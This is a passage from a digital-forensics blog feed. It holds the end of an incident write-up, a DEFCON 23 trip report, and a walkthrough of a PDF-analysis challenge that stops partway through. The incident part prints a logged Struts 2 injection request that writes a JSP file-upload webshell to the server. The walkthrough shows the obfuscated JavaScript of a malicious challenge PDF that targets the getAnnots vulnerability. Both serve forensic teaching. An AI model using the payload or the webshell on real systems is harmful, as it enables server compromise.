</span><span class='line'><span class="o">{(</span>new+java.io.BufferedWriter<span class="o">(</span>new+java.io.FileWriter<span class="o">(</span>new+java.io.File<span class="o">(</span>“1.jsp”<span class="o">))</span>.append<span class="o">(</span>req.getParameter<span class="o">(</span>“e”<span class="o">))</span>.close<span class="o">()}</span><span class="p">&amp;</span><span class="nv">e</span><span class="o">=</span>&lt;%if<span class="o">(</span>request.getParameter<span class="o">(</span><span class="s2">&quot;f&quot;</span><span class="o">)</span>!<span class="o">=</span>null<span class="o">)(</span>new java.io.FileOutputStream<span class="o">(</span>application.getRealPath<span class="o">(</span><span class="s2">&quot;\\&quot;</span><span class="o">)</span>+<span class="s2">&quot;\\images\\test\\&quot;</span><span class="o">))</span>.write<span class="o">(</span>request.getParameter<span class="o">(</span><span class="s2">&quot;t&quot;</span><span class="o">)</span>.getBytes<span class="o">())</span><span class="p">;</span>%&gt;
</span></code></pre></td></tr></table></div></figure>


<p>This log shows an attempt to write the aforementioned webshell to the shared application folder.  A bit of googling and testing reveals this HTTP request attempts to exploit a known <strong>Struts 2 vulnerability CVE-2013-2135</strong>. The timestamp of this activity backed by timeline analysis of all the artifacts collected from servers in the web server farm reveals we have found our initial point of compromise.</p>

<p>A picture is worth a thousand words so this is how it looks after putting all the pieces together:</p>

<p><img class="center" src="http://dfir.it/images/webshell-every-time-the-same-purpose-part2/second-scenario.png" title="schema2" alt="schema2"></p>

<h3>Conclusions</h3>

<p>Moral of this story is simple. Webshells are part of sophisticated actors arsenal utilized at different stages of the attack, whether it is  gaining initial foothold or maintaining persistence. More importantly defenders and incident responders won&rsquo;t always have all the required data for analysis. Access logs might be already overwritten however every attack leaves more than one artifact across multiple systems. This engagement was saved by the application logs and the fact that bad guys are humans doing what humans are great at - making mistakes.</p>

<p><strong>Mandiant</strong> <a href="https://www.fireeye.com/blog/threat-research/2013/08/responding-attacks-apache-struts2.html">blogged</a> about combination of <strong>Struts2</strong> vulnerability and webshell attacks couple of months ago. <strong>CrowdStrike</strong> <a href="http://www.crowdstrike.com/blog/adversary-tricks-crowdstrike-treats/">shared a story</a> of <strong>HURRICANE PANDA</strong> and <strong>DEEP PANDA</strong> using <strong>China Chopper</strong> webshells. Both are a very good and complementary read and highly recommended to everyone interested in such case studies.</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[DFIR.IT! on tour - DEFCON 23]]></title>
    <link href="http://dfir.it/blog/2015/09/18/dfir-dot-it-on-tour-defcon-23/"/>
    <updated>2015-09-18T21:55:10+02:00</updated>
    <id>http://dfir.it/blog/2015/09/18/dfir-dot-it-on-tour-defcon-23</id>
    <content type="html"><![CDATA[<p>After not so positive experiences with <a href="http://dfir.it/blog/2015/05/29/dfir-dot-it-on-tour-confidence-2015-cracow/">security conferences</a> this year I finally decided to visit the biggest of them. Here&rsquo;s DEFCON 23 in several points:</p>

<!--more-->


<ol>
<li><p><strong>Lines</strong></p>

<p> No wonder why DEFCON has an alternative name: LINECON. I can&rsquo;t really tell if the lines were bigger or smaller this year when compared to previous years. I know one thing for sure - I should have joined the line for badges several hours earlier&hellip; On the other hand it wasn&rsquo;t that bad - folks in the lines seemed to enjoy beers and chats with random people.</p>

<p> <img class="center" src="http://dfir.it/images/dfir-dot-it-on-tour-defcon-23/linecon.jpg" title="#linecon" alt="#linecon"></p></li>
<li><p><strong>Talks</strong></p>

<p> Five official tracks with about ten talks daily in each. Add talks and presentations in the Villages and your schedule gets really busy. At some point I decided to explore other parts of the conference and to not attend many talks as they can always be viewed later online. I must admit though, I spent considerable amount of time at <a href="https://skytalks.info/">SKYTALKS</a> - organizers were rather strict about not recording any talks and I don&rsquo;t feel like I wasted my time there!</p></li>
<li><p><strong>Villages</strong></p>

<p> There were about a dozen of Villages - just to name a few: Packet Capture, Wireless, Social Engineering or BioHacking. I was impressed how some of them were really well equipped (ICS Village) and how they gathered more people than some of the conferences I attended to this time.</p></li>
<li><p><strong>Demo labs</strong></p>

<p> As DEFCON organizers describe this new idea: &ldquo;a poster board session but with computers&rdquo;. Some of the presentations sounded really promising (SDR hacking, Fiber Optic tapping, Haka workshop) - too bad I missed all of them.</p></li>
<li><p><strong>Workshops</strong></p>

<p> 10+ free, (half-)day long workshops. By the time I learned about them all seats were taken. It&rsquo;s definitely something I want to try next year!</p></li>
<li><p><strong>Competitions</strong></p>

<p> Starting from official CTFs (Legit BS, OpenCTF), through more specialized (Network Forensics Puzzle, Crack me if you can, Wireless CTF, Intel CTF) and ending up with more obscure events (why did I miss TCP/IP Drinking Game!?). With about 25 such events there&rsquo;s always something to choose from!</p></li>
<li><p><strong>Badges</strong></p>

<p> After I got my DEFCON badge it took me a while to realize that I have been trolled. This year&rsquo;s official DEFCON badge was a <a href="https://www.youtube.com/watch?v=0WS9g_B3WTo">playable</a> 7&#8221; vinyl record. It was really funny to see thousands of participants wearing vinyl record badges. It was even funnier to see non-participants giving them strange looks.</p></li>
<li><p><strong>Parties</strong></p>

<p> There were just too many of them. Too bad I didn&rsquo;t manage to attend at least some of them. I guess I now have a whole year to polish my social engineering skills.</p></li>
<li><p><strong>Las Vegas</strong></p>

<p> It&rsquo;s a real Hell on Earth (and I&rsquo;m not only speaking about the weather). Biggest complaint I have is that Las Vegas is too far away from the place I live and it&rsquo;s impractical (and not cost-effective) to fly there just for the conference. On the other hand I can&rsquo;t imagine other place that could accommodate 20k participants&hellip;</p></li>
</ol>


<p>To keep it short: I really enjoyed my time in Las Vegas. It was my first time at DEFCON and I felt a little bit overwhelmed by all the things happening there. I didn&rsquo;t have a plan for where and what to do. That&rsquo;s the thing I&rsquo;d like to fix next year - go there with a plan and engage more in awesome events happening there. I hope to see you there at DEFCON 24!</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Black Hat Arsenal peepdf Challenge - Walkthrough]]></title>
    <link href="http://dfir.it/blog/2015/09/10/black-hat-arsenal-peepdf-challenge-walkthrough/"/>
    <updated>2015-09-10T21:26:50+02:00</updated>
    <id>http://dfir.it/blog/2015/09/10/black-hat-arsenal-peepdf-challenge-walkthrough</id>
    <content type="html"><![CDATA[<p><a href="http://dfir.it/blog/2015/07/18/toxic-pdf-walkthrough-bsides-london-challenge/">B-Sides London Challenge</a> was supposed to be a one time thing. However when the <a href="https://twitter.com/EternalTodo">peepdf&rsquo;s author</a> creates a challenge it&rsquo;s hard to say no to that!
Don&rsquo;t try to be like me and learn things the hard way. Trust me on this one and take my advice beforehand. Before you even consider reading this walkthrough update your tool! Otherwise you will spend a long time trying to solve it.</p>

<!--more-->




<center><blockquote class="twitter-tweet" lang="en"><p lang="en" dir="ltr">Lesson learned from the <a href="https://twitter.com/hashtag/BHUSA?src=hash">#BHUSA</a> Arsenal <a href="https://twitter.com/peepdf">@peepdf</a> challenge. Before you start, first update your tools! Thanks <a href="https://twitter.com/EternalTodo">@EternalTodo</a> it was great fun!</p>&mdash; dfir_it (@dfir_it) <a href="https://twitter.com/dfir_it/status/628699809206169600">August 4, 2015</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script></center>


<p>If you want to follow along the link to the challenge can be found below:</p>

<center><blockquote class="twitter-tweet" lang="en"><p lang="en" dir="ltr">The <a href="https://twitter.com/hashtag/BHUSA?src=hash">#BHUSA</a> Arsenal <a href="https://twitter.com/peepdf">@peepdf</a> challenge is out! <a href="http://t.co/JWtdod4OEz">http://t.co/JWtdod4OEz</a> Be free to play with it! ;) RT pls! <a href="https://twitter.com/BlackHatEvents">@BlackHatEvents</a> <a href="https://twitter.com/ToolsWatch">@ToolsWatch</a> <a href="https://twitter.com/NETpeas">@NETpeas</a></p>&mdash; Jose Miguel Esparza (@EternalTodo) <a href="https://twitter.com/EternalTodo/status/625371357551980544">July 26, 2015</a></blockquote>
<script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script></center>


<h3>Analysis</h3>

<p>Let&rsquo;s see what&rsquo;s inside the PDF file:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># peepdf -i peepdf_challenge_blackhat.pdf 
</span><span class='line'>File: peepdf_challenge_blackhat.pdf
</span><span class='line'>MD5: 0f3f32ed91ffac18827af99740c6e256
</span><span class='line'>SHA1: 9052d13d049e078b4d8e30260036f39436c575c0
</span><span class='line'>SHA256: 3b8436512a13ab0145f919b0c7855f409bee5146ef931c4ef86819fe0f05acbc
</span><span class='line'>Size: 75276 bytes
</span><span class='line'>Version: 1.5
</span><span class='line'>Binary: True
</span><span class='line'>Linearized: False
</span><span class='line'>Encrypted: False
</span><span class='line'>Updates: 0
</span><span class='line'>Objects: 14
</span><span class='line'>Streams: 5
</span><span class='line'>Comments: 0
</span><span class='line'>Errors: 0
</span><span class='line'>  
</span><span class='line'>Version 0:
</span><span class='line'>  Catalog: 1
</span><span class='line'>  Info: 6
</span><span class='line'>  Objects (14): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]
</span><span class='line'>  Compressed objects (4): [8, 9, 10, 7]
</span><span class='line'>  Streams (5): [4, 5, 11, 13, 12]
</span><span class='line'>      Xref streams (1): [12]
</span><span class='line'>      Object streams (1): [11]
</span><span class='line'>      Encoded (5): [4, 5, 11, 13, 12]
</span><span class='line'>  Suspicious elements:
</span><span class='line'>      /Names: [1, 13]
</span><span class='line'>      /AA: [13]
</span><span class='line'>      /JS: [13]
</span><span class='line'>      /JavaScript: [13]
</span><span class='line'>      /EmbeddedFiles: [1]
</span><span class='line'>      /EmbeddedFile: [13]</span></code></pre></td></tr></table></div></figure>


<p>Output of <em>peepdf</em> provides information about various suspicious elements which include <code>EmbeddedFiles</code>. Interestingly enough it also contains <code>JS</code> and <code>AA</code> elements which are often starting point of any analysis. Reviewing <code>EmbeddedFiles</code> reveals additional metadata about the file:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF&gt; object 1
</span><span class='line'>
</span><span class='line'>&lt;&lt; /MarkInfo &lt;&lt; /Marked true &gt;&gt;
</span><span class='line'>/StructTreeRoot 7 0 R
</span><span class='line'>/Pages 2 0 R
</span><span class='line'>/Type /Catalog
</span><span class='line'>/Lang es-ES
</span><span class='line'>/Names &lt;&lt; /EmbeddedFiles &lt;&lt; /Names [ peepdf.pdf 14 0 R ] &gt;&gt; &gt;&gt; &gt;&gt;</span></code></pre></td></tr></table></div></figure>


<p><code>/Names</code> suggests that we have a <em>pdf</em> inside of another <em>pdf</em>. Dumping the file can be achieved by:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>Stream 13 &gt; peepdf.pdf</span></code></pre></td></tr></table></div></figure>


<p>Analysing <em>peepdf.pdf</em>:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
</pre></td><td class='code'><pre><code class=''><span class='line'># peepdf -i peepdf.pdf 
</span><span class='line'>File: peepdf.pdf
</span><span class='line'>MD5: 3895e6a72976929f8f5b414ffad6d42f
</span><span class='line'>SHA1: 70f20031a4019bdd97b25290fc3ebc9cb4b7ddc9
</span><span class='line'>SHA256: e9958b248574775e32c8bd6d2a38f1689a1ec9124f1c62e5f887ec3fe93830b5
</span><span class='line'>Size: 13379 bytes
</span><span class='line'>Version: 1.7
</span><span class='line'>Binary: True
</span><span class='line'>Linearized: False
</span><span class='line'>Encrypted: True (RC4 128 bits)
</span><span class='line'>Updates: 0
</span><span class='line'>Objects: 22
</span><span class='line'>Streams: 5
</span><span class='line'>Comments: 0
</span><span class='line'>Errors: 1
</span><span class='line'>
</span><span class='line'>Version 0:
</span><span class='line'>  Catalog: 1
</span><span class='line'>  Info: 12
</span><span class='line'>  Objects (22): [1, 2, 3, 4, 5, 6, 7, 8, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]
</span><span class='line'>      Errors (2): [5, 16]
</span><span class='line'>  Streams (5): [4, 6, 8, 22, 24]
</span><span class='line'>      Encoded (2): [6, 8]
</span><span class='line'>  Objects with JS code (4): [5, 16, 19, 24]
</span><span class='line'>  Suspicious elements:
</span><span class='line'>      /Names: [1, 14]
</span><span class='line'>      /AA: [3]
</span><span class='line'>      /JS: [3, 13, 15, 17, 18, 23]
</span><span class='line'>      /JavaScript: [3, 7, 13, 15, 17, 18, 23]
</span><span class='line'>      getAnnots (CVE-2009-1492): [16]</span></code></pre></td></tr></table></div></figure>


<p>We see a very handy feature of <em>peepdf</em> which is information about known CVEs. Instead of jumping to the first <code>JS</code> object, let&rsquo;s review the relationship between the objects to better understand structure of the file:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF&gt; tree
</span><span class='line'>
</span><span class='line'>/Catalog (1)
</span><span class='line'>  /Pages (2)
</span><span class='line'>      /Page (3)
</span><span class='line'>          stream (4)
</span><span class='line'>          /Pages (2)
</span><span class='line'>          hexstring (5)
</span><span class='line'>          /Annot (20)
</span><span class='line'>          /Annot (21)
</span><span class='line'>              stream (22)
</span><span class='line'>  /JavaScript (7)
</span><span class='line'>      /Names (14)
</span><span class='line'>          /Action /JavaScript (13)
</span><span class='line'>              stream (6)
</span><span class='line'>          /Action /JavaScript (15)
</span><span class='line'>              stream (8)
</span><span class='line'>          /Action /JavaScript (17)
</span><span class='line'>              hexstring (16)
</span><span class='line'>          /Action /JavaScript (18)
</span><span class='line'>              hexstring (19)
</span><span class='line'>          /Action /JavaScript (23)
</span><span class='line'>              stream (24)
</span><span class='line'>string (11)
</span><span class='line'>/Info (12)
</span><span class='line'>  string (11)</span></code></pre></td></tr></table></div></figure>


<p>It seems that <code>object 5</code> uses annotations and as we know this <em>pdf</em> likely contains a known <em>getAnnots</em> vulnerability it&rsquo;s definitely worth looking at:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF&gt; object 5
</span><span class='line'>
</span><span class='line'>var version = app.viewerVersion.toString().split(".")[0];
</span><span class='line'>if (version &gt; 10){
</span><span class='line'>  app.alert({cTitle:"Peepdf Challenge",cMsg:"You should try with an older version of Adobe Reader ;)"});
</span><span class='line'>  this.closeDoc(true);
</span><span class='line'>}
</span><span class='line'>else{
</span><span class='line'>  peepdf(r(a,x.d(this.info.author)));</span></code></pre></td></tr></table></div></figure>


<p>The above code checks the version of the software (the reason being is <em>getAnnots</em> vulnerability). If version is greater than 10 it closes the document. If not the following function <code>peepdf(r(a,x.d(this.info.author)));</code> is executed.</p>

<p>Let&rsquo;s check the object containing <em>getAnnots</em> vulnerability:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF&gt; object 16
</span><span class='line'>
</span><span class='line'>app.doc.syncAnnotScan();
</span><span class='line'>var z="";
</span><span class='line'>var an = app.doc.getAnnots({nPage:0});
</span><span class='line'>var s = an[this.numPages].subject;
</span><span class='line'>var buf = s.split(/x1/);
</span><span class='line'>for (var n = 0; n &lt; buf.length; n++) {
</span><span class='line'>  z += String.fromCharCode("0" + "x" + buf[n]);
</span><span class='line'>}
</span><span class='line'>peepdf(z);</span></code></pre></td></tr></table></div></figure>


<p>This function takes the annotation&rsquo;s subject, splits it and performs decoding.</p>

<p>If you take a closer look at <code>tree</code> output once again one of the <code>/Annot</code> objects contains additional stream:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>PPDF&gt; object 21
</span><span class='line'>
</span><span class='line'>&lt;&lt; /Rect [ 100 180 300 210 ]
</span><span class='line'>/Type /Annot
</span><span class='line'>/Subtype /Text
</span><span class='line'>/Subj 22 0 R
</span><span class='line'>/Name /Comment &gt;&gt;
</span><span class='line'>
</span><span class='line'>PPDF&gt; object 22
</span><span class='line'>
</span><span class='line'>&lt;&lt; /Length 2914 &gt;&gt;
</span><span class='line'>stream
</span><span class='line'>76x161x172x120x178x120x13dx120x17bx10ax109x12fx12fx168x174x174x170x13ax12fx12fx177x177x177x12ex177x165x162x174x16fx16fx16cx16bx169x174x12ex169x16ex166x16fx12fx10ax109x16bx13ax120x122x152x153x154x155x156x157x158x159x15ax161x162x163x164x141x142x143x144x145x146x147x148x149x16ex16fx170x171x172x173x174x175x176x177x178x179x17ax130x131x132x133x134x14ax14bx14cx14dx14ex14fx150x151x165x166x167x168x169x16ax16bx16cx16dx135x136x137x138x139x12bx12fx13dx122x12cx10ax109x164x13ax120x166x175x16ex163x174x169x16fx16ex120x128x169x16ex170x175x174x129x120x17bx10ax109x109x176x161x172x120x16bx16bx120x13dx120x122x122x13bx10ax109x109x176x161x172x120x163x131x12cx120x163x132x12cx120x163x133x12cx120x163x134x13bx10ax109x109x176x161x172x120x165x131x12cx120x165x132x12cx120x165x133x12cx120x165x134x13bx10ax109x109x176x161x172x120x169x120x13dx120x130x13bx10ax109x109x169x16ex170x175x174x120x13dx120x169x16ex170x175x174x12ex172x165x170x16cx161x163x165x128x12fx15bx15ex141x12dx15ax161x12dx17ax130x12dx139x15cx12bx15cx12fx15cx13dx15dx12fx167x12cx120x122x122x129x13bx10ax109x109x177x168x169x16cx165x120x128x169x120x13cx120x169x16ex170x175x174x12ex16cx165x16ex167x174x168x129x120x17bx10ax109x109x109x165x131x120x13dx120x174x168x169x173x12ex16bx12ex169x16ex164x165x178x14fx166x128x169x16ex170x175x174x12ex163x168x161x172x141x174x128x169x12bx12bx129x129x13bx10ax109x109x109x165x132x120x13dx120x174x168x169x173x12ex16bx12ex169x16ex164x165x178x14fx166x128x169x16ex170x175x174x12ex163x168x161x172x141x174x128x169x12bx12bx129x129x13bx10ax109x109x109x165x133x120x13dx120x174x168x169x173x12ex16bx12ex169x16ex164x165x178x14fx166x128x169x16ex170x175x174x12ex163x168x161x172x141x174x128x169x12bx12bx129x129x13bx10ax109x109x109x165x134x120x13dx120x174x168x169x173x12ex16bx12ex169x16ex164x165x178x14fx166x128x169x16ex170x175x174x12ex163x168x161x172x141x174x128x169x12bx12bx129x129x13bx10ax109x109x109x163x131x120x13dx120x128x165x131x120x13cx13cx120x132x129x120x17cx120x128x165x132x120x13ex13ex120x134x129x13bx10ax109x109x109x163x132x120x13dx120x128x128x165x132x120x126x120x131x135x129x120x13cx13cx120x134x129x120x17cx120x128x165x133x120x13ex13ex120x132x129x13bx10ax109x109x109x163x133x120x13dx120x128x128x165x133x120x126x120x133x129x120x13cx13cx120x136x129x120x17cx120x165x134x13bx10ax109x109x109x16bx16bx120x13dx120x16bx16bx120x12bx120x153x174x172x169x16ex167x12ex166x172x16fx16dx143x168x161x172x143x16fx164x165x128x163x131x129x13bx10ax109x109x109x169x166x120x128x165x133x120x121x13dx120x136x134x129x120x17bx16bx16bx120x13dx120x16bx16bx120x12bx120x153x174x172x169x16ex167x12ex166x172x16fx16dx143x168x161x172x143x16fx164x165x128x163x132x129x13bx17dx10ax109x109x109x169x166x120x128x165x134x120x121x13dx120x136x134x129x120x17bx16bx16bx120x13dx120x16bx16bx120x12bx120x153x174x172x169x16ex167x12ex166x172x16fx16dx143x168x161x172x143x16fx164x165x128x163x133x129x13bx17dx10ax109x109x17dx10ax109x109x172x165x174x175x172x16ex120x16bx16bx13bx10ax109x17dx10ax17dx13b
</span><span class='line'>endstream</span></code></pre></td></tr></table></div></figure>


<p>Using <em>SpiderMonkey</em> we can decode this subject to more readable form:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>remnux@remnux:~/Desktop/PeePdf$ more decode.js 
</span><span class='line'>//app.doc.syncAnnotScan();
</span><span class='line'>
</span><span class='line'>var shellcode='76x161x172x120x178x120x13dx120x17bx10ax109x12fx12fx168x174x174x170x13ax12fx12fx177x177x177x12ex177x165x162x174x16fx16fx16cx16bx169x174x12ex169x16ex166x16fx12fx10ax109
</span><span class='line'>x16bx13ax120x122x152x153x154x155x156x157x158x159x15ax161x162x163x164x141x142x143x144x145x146x147x148x149x16ex16fx170x171x172x173x174x175x176x177x178x179x17ax130x131x132x133x134x14ax
</span><span class='line'>14bx14cx14dx14ex14fx150x151x165x166x167x168x169x16ax16bx16cx16dx135x136x137x138x139x12bx12fx13dx122x12cx10ax109x164x13ax120x166x175x16ex163x174x169x16fx16ex120x128x169x16ex170x175x1
</span><span class='line'>74x129x120x17bx10ax109x109x176x161x172x120x16bx16bx120x13dx120x122x122x13bx10ax109x109x176x161x172x120x163x131x12cx120x163x132x12cx120x163x133x12cx120x163x134x13bx10ax109x109x176x16
</span><span class='line'>1x172x120x165x131x12cx120x165x132x12cx120x165x133x12cx120x165x134x13bx10ax109x109x176x161x172x120x169x120x13dx120x130x13bx10ax109x109x169x16ex170x175x174x120x13dx120x169x16ex170x175
</span><span class='line'>x174x12ex172x165x170x16cx161x163x165x128x12fx15bx15ex141x12dx15ax161x12dx17ax130x12dx139x15cx12bx15cx12fx15cx13dx15dx12fx167x12cx120x122x122x129x13bx10ax109x109x177x168x169x16cx165x
</span><span class='line'>120x128x169x120x13cx120x169x16ex170x175x174x12ex16cx165x16ex167x174x168x129x120x17bx10ax109x109x109x165x131x120x13dx120x174x168x169x173x12ex16bx12ex169x16ex164x165x178x14fx166x128x1
</span><span class='line'>69x16ex170x175x174x12ex163x168x161x172x141x174x128x169x12bx12bx129x129x13bx10ax109x109x109x165x132x120x13dx120x174x168x169x173x12ex16bx12ex169x16ex164x165x178x14fx166x128x169x16ex17
</span><span class='line'>0x175x174x12ex163x168x161x172x141x174x128x169x12bx12bx129x129x13bx10ax109x109x109x165x133x120x13dx120x174x168x169x173x12ex16bx12ex169x16ex164x165x178x14fx166x128x169x16ex170x175x174
</span><span class='line'>x12ex163x168x161x172x141x174x128x169x12bx12bx129x129x13bx10ax109x109x109x165x134x120x13dx120x174x168x169x173x12ex16bx12ex169x16ex164x165x178x14fx166x128x169x16ex170x175x174x12ex163x
</span><span class='line'>168x161x172x141x174x128x169x12bx12bx129x129x13bx10ax109x109x109x163x131x120x13dx120x128x165x131x120x13cx13cx120x132x129x120x17cx120x128x165x132x120x13ex13ex120x134x129x13bx10ax109x1
</span><span class='line'>09x109x163x132x120x13dx120x128x128x165x132x120x126x120x131x135x129x120x13cx13cx120x134x129x120x17cx120x128x165x133x120x13ex13ex120x132x129x13bx10ax109x109x109x163x133x120x13dx120x12
</span><span class='line'>8x128x165x133x120x126x120x133x129x120x13cx13cx120x136x129x120x17cx120x165x134x13bx10ax109x109x109x16bx16bx120x13dx120x16bx16bx120x12bx120x153x174x172x169x16ex167x12ex166x172x16fx16d
</span><span class='line'>x143x168x161x172x143x16fx164x165x128x163x131x129x13bx10ax109x109x109x169x166x120x128x165x133x120x121x13dx120x136x134x129x120x17bx16bx16bx120x13dx120x16bx16bx120x12bx120x153x174x172x
</span><span class='line'>169x16ex167x12ex166x172x16fx16dx143x168x161x172x143x16fx164x165x128x163x132x129x13bx17dx10ax109x109x109x169x166x120x128x165x134x120x121x13dx120x136x134x129x120x17bx16bx16bx120x13dx1
</span><span class='line'>20x16bx16bx120x12bx120x153x174x172x169x16ex167x12ex166x172x16fx16dx143x168x161x172x143x16fx164x165x128x163x133x129x13bx17dx10ax109x109x17dx10ax109x109x172x165x174x175x172x16ex120x16
</span><span class='line'>bx16bx13bx10ax109x17dx10ax17dx13b'
</span><span class='line'>
</span><span class='line'>var z = "";
</span><span class='line'>//var an = app.doc.getAnnots({
</span><span class='line'>//    nPage: 0
</span><span class='line'>//});
</span><span class='line'>//var s = an[this.numPages].subject;
</span><span class='line'>var buf = shellcode.split(/x1/);
</span><span class='line'>for (var n = 0; n &lt; buf.length; n++) {
</span><span class='line'>    z += String.fromCharCode("0" + "x" + buf[n]);
</span><span class='line'>}
</span><span class='line'>//peepdf(z);
</span><span class='line'>print(z)</span></code></pre></td></tr></table></div></figure>


<p>After executing the code following output appears:</p>

<figure class='code'><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>var x = {
</span><span class='line'>  //http://www.webtoolkit.info/
</span><span class='line'>  k: "RSTUVWXYZabcdABCDEFGHInopqrstuvwxyz01234JKLMNOPQefghijklm56789+/=",
</span><span class='line'>  d: function (input) {
</span><span class='line'>      var kk = "";
</span><span class='line'>      var c1, c2, c3, c4;
